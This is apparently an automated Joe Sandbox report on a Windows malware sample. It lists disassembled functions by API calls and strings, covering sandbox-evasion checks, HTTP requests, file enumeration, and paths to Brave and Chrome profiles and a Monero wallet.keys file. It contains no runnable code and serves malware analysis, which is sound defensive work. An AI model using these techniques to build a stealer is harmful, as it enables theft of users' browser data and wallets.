GlobalMemoryStatusEx.KERNEL32(00000040,?,00000000,00000040), ref: 00B0123E
__aulldiv.LIBCMT ref: 00B01258
__aulldiv.LIBCMT ref: 00B01266
ExitProcess.KERNEL32 ref: 00B01294

Strings

@, xrefs: 00B01233

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: __aulldiv$ExitGlobalMemoryProcessStatus
String ID: @
API String ID: 3404098578-2766056989
Opcode ID: 527a7fd67586e2beea23ec072c93f1f871e24524e94b119414a34a8274fcebca
Instruction ID: dc1e4d4b1b67fc7c6d8632edf6274eb0f08e8b659019204e18008ffa87f7b704
Opcode Fuzzy Hash: 527a7fd67586e2beea23ec072c93f1f871e24524e94b119414a34a8274fcebca
Instruction Fuzzy Hash: CB01FFB0984308BBEB14DFD8CC49B9DBBB8AB14705F608484E705B62C0DA7455458B99

Function 00B16AF3 Relevance: 6.0, APIs: 4, Instructions: 30
sleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,011F8910,?,00B2110C,?,00000000,?,00B21110,?,00000000,00B20AEF), ref: 00B16ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00B16AE8
CloseHandle.KERNEL32(00000000), ref: 00B16AF9
Sleep.KERNEL32(00001770), ref: 00B16B04
CloseHandle.KERNEL32(?,00000000,?,011F8910,?,00B2110C,?,00000000,?,00B21110,?,00000000,00B20AEF), ref: 00B16B1A
ExitProcess.KERNEL32 ref: 00B16B22

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: 9e8e9289770113ca69d6fd4f4597a6d3d7a89411353a6ec93307012f7e781c43
Instruction ID: 4b0a36404c9b855efe8ec9b9da2798c88726cc01c76dd2cfe6db640e4598589e
Opcode Fuzzy Hash: 9e8e9289770113ca69d6fd4f4597a6d3d7a89411353a6ec93307012f7e781c43
Instruction Fuzzy Hash: 36F05E34A84309EBE710AFA0DC86BFE7BB4EF04741F904594F502E12C1CBB06580D6A6

Function 00B047B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00B04839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00B04849

Strings

<, xrefs: 00B047C9

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 9a3c547c66e9471d936972894a9f6459327980a3876ef78ea50a218482e522fc
Instruction ID: 4c1a5515b8dd9f7fc2465078eaaf816421fb1a7f3d6f6c583957c017c390035f
Opcode Fuzzy Hash: 9a3c547c66e9471d936972894a9f6459327980a3876ef78ea50a218482e522fc
Instruction Fuzzy Hash: 47215EB1D01209ABDF14DFA4EC45ADE7B74FF05320F008625F915A72D1EB706A09CB91

Function 00B151F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B1A7A0: lstrcpy.KERNEL32(?,00000000), ref: 00B1A7E6

Part of subcall function 00B06280: InternetOpenA.WININET(00B20DFE,00000001,00000000,00000000,00000000), ref: 00B062E1
Part of subcall function 00B06280: StrCmpCA.SHLWAPI(?,011FE3D0), ref: 00B06303
Part of subcall function 00B06280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00B06335
Part of subcall function 00B06280: HttpOpenRequestA.WININET(00000000,GET,?,011FDD60,00000000,00000000,00400100,00000000), ref: 00B06385
Part of subcall function 00B06280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00B063BF
Part of subcall function 00B06280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00B063D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00B15228

Strings

ERROR, xrefs: 00B15273
ERROR, xrefs: 00B1521A

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 43594235e0e5beab317d6aa785167c543929aea8bb2c6427bece5835fa07774a
Instruction ID: c80297d5ebc907aa9d6e9d3512a9a65e67b9b61bd0b7d88b2dfc336ac984f934
Opcode Fuzzy Hash: 43594235e0e5beab317d6aa785167c543929aea8bb2c6427bece5835fa07774a
Instruction Fuzzy Hash: C5112E30911108ABCB14FF64DD92AED77B8AF50310FC04598F80A5A192EF30BB86C691

Function 00B01110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00B0112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00B01132
ExitProcess.KERNEL32 ref: 00B01143

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: 8c5f3cc4038c6b2858448f6c2308d8ea72410d9d516294c2107ecd1ceeb34959
Instruction ID: 7896279bbe5cf29ed0f8a6e322e405433d33d1c6d83cb5f85515e3a526d6bef1
Opcode Fuzzy Hash: 8c5f3cc4038c6b2858448f6c2308d8ea72410d9d516294c2107ecd1ceeb34959
Instruction Fuzzy Hash: 0DE08674985308FBE7146FA89C0AB097AB8EB05B01F100084F708B62C0D6B4260096A9

Function 00B010A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00B010B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00B010F7

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 165106bf85ca35ccc84f075e0afa3d3a6a0538cd3a6084009029bfbf55b1af31
Instruction ID: 389bbd7e55fcd064bcc10f5d776f7eba6f60f63aacf5c7e019f3d92c8b65e0d1
Opcode Fuzzy Hash: 165106bf85ca35ccc84f075e0afa3d3a6a0538cd3a6084009029bfbf55b1af31
Instruction Fuzzy Hash: 0BF0E271681308BBE7149BA8AC49FAAB7E8E705B55F301888F544E3280D5719E40CAA0

Function 00B01190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00B178E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00B17910
Part of subcall function 00B178E0: RtlAllocateHeap.NTDLL(00000000), ref: 00B17917
Part of subcall function 00B178E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00B1792F

Part of subcall function 00B17850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00B011B7), ref: 00B17880
Part of subcall function 00B17850: RtlAllocateHeap.NTDLL(00000000), ref: 00B17887
Part of subcall function 00B17850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00B1789F

ExitProcess.KERNEL32 ref: 00B011C6

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 8ed6045266b034db104691042f3dcaef82cd2bb587e498b1972816507b60bbb9
Instruction ID: 2238cdca4883a8a0330275a2a9f449f3d12fbaec18ef2aaba660f3d988218508
Opcode Fuzzy Hash: 8ed6045266b034db104691042f3dcaef82cd2bb587e498b1972816507b60bbb9
Instruction Fuzzy Hash: 06E012B999430153DA1477BAAC0AB6A37DCAB15385F4408A4FA09E3242FE25E94185B6

Non-executed Functions

Function 00B138B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B138CC
FindFirstFileA.KERNEL32(?,?), ref: 00B138E3
lstrcat.KERNEL32(?,?), ref: 00B13935
StrCmpCA.SHLWAPI(?,00B20F70), ref: 00B13947
StrCmpCA.SHLWAPI(?,00B20F74), ref: 00B1395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00B13C67
FindClose.KERNEL32(000000FF), ref: 00B13C7C

Strings

%s\*, xrefs: 00B138C0
%s%s, xrefs: 00B13AAD
%s\%s\%s, xrefs: 00B13A4A
%s\%s, xrefs: 00B1397A
%s\%s, xrefs: 00B13A6F

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: dbfad9a40f60d4e4b59b1d5c9a95617d1858f2a4420447abfa4645f5190cfddd
Instruction ID: 3b311364b5ccf8dd57665d2b0fdd6f975557f0ab62df6135b5e57e1fc33f9fe3
Opcode Fuzzy Hash: dbfad9a40f60d4e4b59b1d5c9a95617d1858f2a4420447abfa4645f5190cfddd
Instruction Fuzzy Hash: E3A14EB5A403189BDB24DFA4DC85FEE73B8FB59700F4445C8A60D96181EB749B84CFA2

Function 00B0BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00B1A740: lstrcpy.KERNEL32(00B20E17,00000000), ref: 00B1A788

Part of subcall function 00B1A920: lstrcpy.KERNEL32(00000000,?), ref: 00B1A972
Part of subcall function 00B1A920: lstrcat.KERNEL32(00000000), ref: 00B1A982

Part of subcall function 00B1A9B0: lstrlen.KERNEL32(?,011F8B70,?,\Monero\wallet.keys,00B20E17), ref: 00B1A9C5
Part of subcall function 00B1A9B0: lstrcpy.KERNEL32(00000000), ref: 00B1AA04
Part of subcall function 00B1A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00B1AA12

Part of subcall function 00B1A8A0: lstrcpy.KERNEL32(?,00B20E17), ref: 00B1A905

FindFirstFileA.KERNEL32(00000000,?,00B20B32,00B20B2B,00000000,?,?,?,00B213F4,00B20B2A), ref: 00B0BEF5
StrCmpCA.SHLWAPI(?,00B213F8), ref: 00B0BF4D
StrCmpCA.SHLWAPI(?,00B213FC), ref: 00B0BF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00B0C7BF
FindClose.KERNEL32(000000FF), ref: 00B0C7D1

Strings

\Brave\Preferences, xrefs: 00B0C1DB
Preferences, xrefs: 00B0C11E
Google Chrome, xrefs: 00B0C634
Brave, xrefs: 00B0C102

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: eab8c929180800f2f9c609489ed62f41e374744ec145d82fdbbe679f37c120d8
Instruction ID: 0ffe39039df1ce4056b2d9c0a2b249405019a6c78ce1775cb57ddd3fa2aa5525
Opcode Fuzzy Hash: eab8c929180800f2f9c609489ed62f41e374744ec145d82fdbbe679f37c120d8
Instruction Fuzzy Hash: CD4262729111049BCB14FB64DD96EED77BCAF54310F8045D8B50AA61D1EF30AF89CBA2

Function 00B14910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00B1492C
FindFirstFileA.KERNEL32(?,?), ref: 00B14943
StrCmpCA.SHLWAPI(?,00B20FDC), ref: 00B14971
StrCmpCA.SHLWAPI(?,00B20FE0), ref: 00B14987
FindNextFileA.KERNEL32(000000FF,?), ref: 00B14B7D
FindClose.KERNEL32(000000FF), ref: 00B14B92

Strings

%s\%s, xrefs: 00B149A4
%s\%s, xrefs: 00B149FB
%s\*, xrefs: 00B14920

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

Associated: 00000000.00000002.2101521674.0000000000B00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BB1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BBD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000BE2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101537520.0000000000D4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000EF1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FF3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.0000000000FFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2101684232.000000000100D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102032109.000000000100E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102161606.00000000011B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2102176800.00000000011B2000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b00000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 39bc94051a589f195f84e3358a745991a701a1553609ce112febf1999d155a42
Instruction ID: 0468e981c52c37ccb9a17ef17d6202a2c737295782a5562063ca15c6f75f0d55
Opcode Fuzzy Hash: 39bc94051a589f195f84e3358a745991a701a1553609ce112febf1999d155a42
Instruction Fuzzy Hash: C86176B5950218ABCB24EFA4DC45EEA73BCFB59700F4045C8B60D96181EB30EB85CFA1

Function 00B14570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00B14580
RtlAllocateHeap.NTDLL(00000000), ref: 00B14587
wsprintfA.USER32 ref: 00B145A6
FindFirstFileA.KERNEL32(?,?), ref: 00B145BD
StrCmpCA.SHLWAPI(?,00B20FC4), ref: 00B145EB
StrCmpCA.SHLWAPI(?,00B20FC8), ref: 00B14601
FindNextFileA.KERNEL32(000000FF,?), ref: 00B1468B
FindClose.KERNEL32(000000FF), ref: 00B146A0
lstrcat.KERNEL32(?,011FE280), ref: 00B146C5
lstrcat.KERNEL32(?,011FD758), ref: 00B146D8
lstrlen.KERNEL32(?), ref: 00B146E5
lstrlen.KERNEL32(?), ref: 00B146F6

Strings

%s\*, xrefs: 00B1459A
%s\%s, xrefs: 00B1461B

Memory Dump Source

Source File: 00000000.00000002.2101537520.0000000000B01000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B00000, based on PE: true

